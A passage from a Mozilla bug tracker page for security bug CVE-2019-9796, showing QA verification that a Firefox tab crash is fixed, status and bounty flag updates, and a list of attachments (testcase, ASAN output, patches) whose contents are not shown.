6 years ago

I managed to reproduce the issue on Nightly from 2019-02-28 on Ubuntu 18.04 x64 and Windows 10 x64.
I retested everything using the latest Nightly 67.0a1, beta 66.0b14 and esr 60.5.3 on Ubuntu 18.04 x64. I also verified the fix on Windows 10 x64 using latest Nightly 67.0a1. The bug is not reproducing. The tab doesn't crash anymore.

Status: RESOLVED → VERIFIED

status-firefox66: fixed → verified

status-firefox67: fixed → verified

status-firefox-esr60: fixed → verified

Flags: qe-verify+

Al Billings [:abillings - ex-MoCo]

Updated

•

6 years ago

Whiteboard: [post-critsmash-triage] → [post-critsmash-triage][adv-main66+][adv-esr60.6+]

Al Billings [:abillings - ex-MoCo]

Updated

•

6 years ago

Alias: CVE-2019-9796

Al Billings [:abillings - ex-MoCo]

Updated

•

5 years ago

Flags: sec-bounty?

Daniel Veditz [:dveditz]

Updated

•

5 years ago

Flags: sec-bounty? → sec-bounty+

Daniel Veditz [:dveditz]

Updated

•

5 years ago

Group: core-security-release

David Lawrence [:dkl]

Updated

•

9 months ago

Keywords: reporter-external

crash.html (minimised testcase) 6 years ago Nils 1.59 KB, text/html		Details
ASAN output 6 years ago Nils 16.91 KB, text/plain		Details
Bug 1531277 - Check child container count in NotifyRefreshDriverCreated; r?dholbert 6 years ago Brian Birtles (:birtles) 47 bytes, text/x-phabricator-request	lizzard : approval-mozilla-beta+ abillings : sec-approval+	Details \| Review
Patch for release/ESR 6 years ago Brian Birtles (:birtles) 631 bytes, patch	RyanVM : approval-mozilla-esr60+	Details \| Diff \| Splinter Review